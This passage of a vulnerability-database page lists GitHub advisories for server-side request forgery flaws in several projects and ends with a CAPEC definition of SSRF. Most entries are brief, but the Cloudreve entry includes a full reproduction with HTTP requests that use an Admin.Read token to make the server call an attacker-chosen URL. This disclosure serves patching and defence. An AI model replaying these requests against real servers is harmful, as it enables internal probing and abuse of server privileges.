$RefParser.dereference(\n JSON.parse(JSON.stringify(this.document)),\n {\n resolve: { file: false, http: false, https: false }\n }\n);\n```",
"id": "GHSA-v6ph-xcq9-qxxj",
"modified": "2026-04-09T14:29:54Z",
"published": "2026-04-08T19:22:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39885"
},
{
"type": "PACKAGE",
"url": "https://github.com/agentfront/frontmcp"
},
{
"type": "WEB",
"url": "https://github.com/agentfront/frontmcp/releases/tag/v1.0.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications"
}
GHSA-V6VR-JVVR-P4M5
Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2022-08-13 00:00Server-Side Request Forgery (SSRF) in GitHub repository kareadita/kavita prior to 0.5.4.1.
{
"affected": [],
"aliases": [
"CVE-2022-2756"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-10T16:15:00Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) in GitHub repository kareadita/kavita prior to 0.5.4.1.",
"id": "GHSA-v6vr-jvvr-p4m5",
"modified": "2022-08-13T00:00:26Z",
"published": "2022-08-11T00:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2756"
},
{
"type": "WEB",
"url": "https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V6W6-358X-2433
Vulnerability from github – Published: 2026-07-24 21:50 – Updated: 2026-07-24 21:50Summary
Cloudreve exposes two admin node test endpoints under the Admin.Read OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for Admin.Read to trigger operational network actions that should require Admin.Write.
Impact
An attacker who obtains an admin-authorized OAuth token with Admin.Read but not Admin.Write can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.
Affected version
Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.
Technical details
The authenticated admin route group requires only Admin.Read:
auth := v4.Group("")
auth.Use(middleware.LoginRequired())
auth.Use(middleware.RequiredScopes(types.ScopeAdminRead))
admin := auth.Group("admin", middleware.IsAdmin())
The following routes are registered without ScopeAdminWrite:
node.POST("test",
controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),
controllers.AdminTestSlave,
)
node.POST("test/downloader",
controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),
controllers.AdminTestDownloader,
)
By contrast, node create, update, and delete routes do require Admin.Write:
node.PUT("", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.PUT(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.DELETE(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
TestNodeService.Test() parses the attacker-supplied node server and sends a request to it:
slave, err := url.Parse(service.Node.Server)
...
res, err := r.Request(
"POST",
routes.SlavePingRoute(slave),
bytes.NewReader(bodyByte),
...
)
TestNodeDownloaderService.Test() constructs a downloader from attacker-supplied node settings and invokes its network test method.
Reproduction
The following was verified against a disposable Cloudreve instance built from the affected commit.
Prerequisite: an admin user authorizes an OAuth client with Admin.Read but not Admin.Write.
- Obtain an OAuth access token whose scope is only:
openid Admin.Read
The returned token response contains:
{
"token_type": "Bearer",
"scope": "openid Admin.Read"
}
- Confirm the token cannot perform an
Admin.Writenode operation:
PUT /api/v4/admin/node HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json
{
"node": {
"name": "deny-control",
"server": "http://127.0.0.1:18080",
"type": "slave",
"slave_key": "poc"
}
}
Observed response:
{
"code": 40089,
"msg": "Insufficient scope: Admin.Write"
}
- Use the same
Admin.Read-only OAuth token to call the node test endpoint with an attacker-controlled server URL:
POST /api/v4/admin/node/test HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json
{
"node": {
"id": 124,
"name": "ssrf-poc",
"server": "http://127.0.0.1:18080",
"type": "slave",
"slave_key": "attacker-controlled-key"
}
}
Observed Cloudreve response:
{
"code": 0,
"msg": ""
}
- The canary server at
127.0.0.1:18080received the backend request:
POST /api/v4/slave/ping HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Cloudreve/4.14.0
Authorization: Bearer Cr <hmac-signature>:<timestamp>
X-Cr-Node-Id: 124
X-Cr-Site-Url: http://127.0.0.1:15212
Content-Length: 37
{"callback":"http://127.0.0.1:15212"}
This proves the Admin.Read-only OAuth token is denied on a sibling Admin.Write route but can still trigger a server-side request to an attacker-selected node URL through the test route.
Root cause
The route group enforces Admin.Read by default and relies on per-route Admin.Write middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the Admin.Write set even though they execute server-side network actions using attacker-supplied configuration.
Remediation
- Add
middleware.RequiredScopes(types.ScopeAdminWrite)to both node test routes. - Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.
- Audit other admin test endpoints for read-scoped side effects.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0-20260626022735-332a9d800205"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0-20250225100611-da4e44b77af4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:50:23Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nCloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n \"POST\",\n routes.SlavePingRoute(slave),\n bytes.NewReader(bodyByte),\n ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n \"token_type\": \"Bearer\",\n \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n \"node\": {\n \"name\": \"deny-control\",\n \"server\": \"http://127.0.0.1:18080\",\n \"type\": \"slave\",\n \"slave_key\": \"poc\"\n }\n}\n```\n\nObserved response:\n\n```json\n{\n \"code\": 40089,\n \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n \"node\": {\n \"id\": 124,\n \"name\": \"ssrf-poc\",\n \"server\": \"http://127.0.0.1:18080\",\n \"type\": \"slave\",\n \"slave_key\": \"attacker-controlled-key\"\n }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n \"code\": 0,\n \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr \u003chmac-signature\u003e:\u003ctimestamp\u003e\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.",
"id": "GHSA-v6w6-358x-2433",
"modified": "2026-07-24T21:50:24Z",
"published": "2026-07-24T21:50:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests"
}
GHSA-V73R-F3CX-PM99
Vulnerability from github – Published: 2023-12-16 12:30 – Updated: 2023-12-16 12:30A vulnerability classified as critical has been found in kalcaddle KodExplorer up to 4.51.03. Affected is an unknown function of the file plugins/webodf/app.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The name of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248220.
{
"affected": [],
"aliases": [
"CVE-2023-6852"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-16T12:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in kalcaddle KodExplorer up to 4.51.03. Affected is an unknown function of the file plugins/webodf/app.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The name of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248220.",
"id": "GHSA-v73r-f3cx-pm99",
"modified": "2023-12-16T12:30:16Z",
"published": "2023-12-16T12:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6852"
},
{
"type": "WEB",
"url": "https://github.com/kalcaddle/KodExplorer/commit/5cf233f7556b442100cf67b5e92d57ceabb126c6"
},
{
"type": "WEB",
"url": "https://github.com/kalcaddle/KodExplorer/releases/tag/4.52.01"
},
{
"type": "WEB",
"url": "https://note.zhaoj.in/share/P6lQNyqQn3zY"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.248220"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.248220"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V746-9WXC-9RC8
Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35Server-Side Request Forgery (SSRF) vulnerability in solacewp Solace Extra allows Server Side Request Forgery. This issue affects Solace Extra: from n/a through 1.3.1.
{
"affected": [],
"aliases": [
"CVE-2025-47464"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T15:16:00Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in solacewp Solace Extra allows Server Side Request Forgery. This issue affects Solace Extra: from n/a through 1.3.1.",
"id": "GHSA-v746-9wxc-9rc8",
"modified": "2026-04-01T18:35:01Z",
"published": "2025-05-07T15:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47464"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/solace-extra/vulnerability/wordpress-solace-extra-1-3-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.